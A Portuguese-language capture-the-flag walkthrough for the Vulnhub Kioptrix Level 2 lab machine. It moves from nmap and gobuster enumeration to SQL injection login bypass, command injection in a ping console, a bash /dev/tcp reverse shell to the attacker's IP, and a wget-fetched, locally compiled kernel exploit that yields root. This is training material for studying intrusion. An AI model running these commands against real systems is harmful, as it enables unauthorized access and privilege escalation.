Kioptrix Level 2 – Walkthrough

Segue aqui o 2 tutorial de como conseguir explorar uma das máquinas virtuais disponível no Vulnhub e que pode te ajudar com os cenários de Capture The Flag (CTF) e situações semelhantes. 

Antes de qualquer coisa, precisamos começar com a enumeração dos serviços ativos na máquina de destino usando o nmap:

nmap -sV -sC -n -A 172.16.217.143

Certo, identificamos que estão em funcionamento 2 (dois) serviços sendo SSH na porta 22 e HTTP na porta 80. De forma complemetar, conseguimos saber também a versão utilizada pelo SSH (OpenSSH 4.7p1), servidor web (Apache/2.2.8) e aplicação (PHP 5.2.4).

Optei por coletar mais algumas informações através da enumeração de diretórios e a ferramenta gobuster poderá nos apoiar nessa atividade executando o seguinte comando:

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.16.217.143

[+] Url/Domain : http://172.16.217.143/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 307,200,204,301,302
=====================================================
/modules (Status: 301)
/gallery (Status: 301)
/core (Status: 301)
/style (Status: 301)
/cache (Status: 301)
/phpmyadmin (Status: 301)
=====================================================

Conseguimos identificar que existem alguns caminhos interessantes mas nada fora do padrão. Certo, continuamos levantando as informações e verificamos que a aplicação utilizada utiliza o LotusCMS para gerenciar o conteúdo da aplicação de acordo com as informações da página principal coletada através da visualização do código-fonte.

Até o momento temos as seguintes informações que poderão nos ajudar nessa maquina:

• OpenSSH 4.7p1
• Apache/2.2.8
• PHP 5.2.4
• phpmyadmin (uso de senha padrão)
• SQLi nos campos disponíveis na aplicação (validação manual)
• Lotus CMS

Dessa forma, verifiquei que não existe nenhuma vulnerabilidade para as versões de SSH, Apache e PHP que pudessem nos permitir a execução de comandos. 

Vamos olhar um pouco mais de perto a aplicação WEB que está em uso.

OK, podemos verificar se a aplicação está vulnerável a vulnerabilidade SQLi. Para facilitar a identificação da vulnerabilidade, vamos utilizar o software Burp que funciona como um HTTP Proxy.

Bem, primeiro vamos inserir ele como um proxy em nosso navegador de internet (na porta padrão 8080) e depois vamos interceptar a requisição a página principal e encaminhar para o módulo Intruder.

Com esse módulo é possível selecionar quais campos podemos fazer a alteração dos valores de forma automática. Note que deixei apenas os campos login e password para o nosso caso.

Depois de marcar os campos que devem ser selecionados, precisamos agora utilizar uma wordlist que nos auxilie na identificação da falha. A que usei nesse exemplo é uma listagem padrão da distribuição Kali Linux e pode ser encontrada no caminho /usr/share/wordlists/wfuzz/Injections/SQL.txt.

Note que no campo ao lado esquerdo já temos alguns exemplos do que será utilizado nos campos marcados na etapa anterior. Uma vez escolhido essas opções podemos iniciar o processo de identificação de um SQLi clicando no botão superior direito “Start attack”.

A ferramenta começa a disparar as requisições para a página WEB e agora nos resta uma dúvida: se todas as respostas que eu mandar nos retorna o valor 200 (success), como vou saber qual página apresentou sucesso, de fato ou não? Nesse caso, vamos adotar a filtragem das requisições pelo tamanho de página. Note que as duas opções abaixo possuem o tamanho diferente e podemos ver mais abaixo que conseguimos acessar a aplicação através da injeção de comandos SQLi.

Maiores informações sobre o que é e o funcionamento do SQLi podem ser encontradas nesse aqui. 

Uma vez com acesso, a aplicação lhe traz uma console básica para administração permitindo que seja realizado pings nos dispositivos ativos na rede. 

Nesse caso podemos fazer o teste de ping para ver se podemos ter acesso externo através da aplicação (se não existe nenhuma regra de firewall que efetue o bloqueio). Além disso, verifiquei que é possível “concatenar” o comando através da inserção de ; após o comando.

Veja que após o resultado do ping é possível ter as informações do alvo.

Certo, o que podemos fazer agora?? Vamos executar um comando para obter um shell reverse com a nossa máquina usando o comando ;bash -i >& /dev/tcp/192.168.0.24/4444 0>&1. Lembrando que antes de executar esse comando precisamos deixar uma chamada aberta na origem na porta 4444 para que possamos ter sucesso.

Pronto, temos acesso limitado ao alvo e precisamos agora descobrir alguma forma de elevar os privilégios para root.

Vamos verificar algumas informações sobre a versão do kernel, distro + versão, entre outras coisas.

Vamos verificar se existem vulnerabilidades para o kernel e distro + versão.

o exploit 9542.c me parece que pode ser usado para elevar os privilégios no alvo. Dessa forma, vamos subir um python server e disponibilizar o arquivo através do comando python -m SimpleHTTP Server 80 (lembrando que tudo que tiver no diretório que o comando for executado será disponibilizado).

Agora podemos fazer o download do arquivo via wget inserindo o endereço IP de origem + nome do arquivo, nesse caso wget http://192.168.0.128/exploit.c

Note que não temos privilégios para gravação no diretório em questão. Uma boa opção é mover para o diretório /tmp.

Uma vez no diretório, podemos executar o mesmo comando:

Certo, agora precisamos compilar o código via gcc através do comando gcc exploit.c -o exploit.

Feito! Conseguimos compilar e executar o comando através do ./exploit e usando o comando id conseguimos ver qual é o privilégio de acess, ROOT.

---

Informações sobre o autor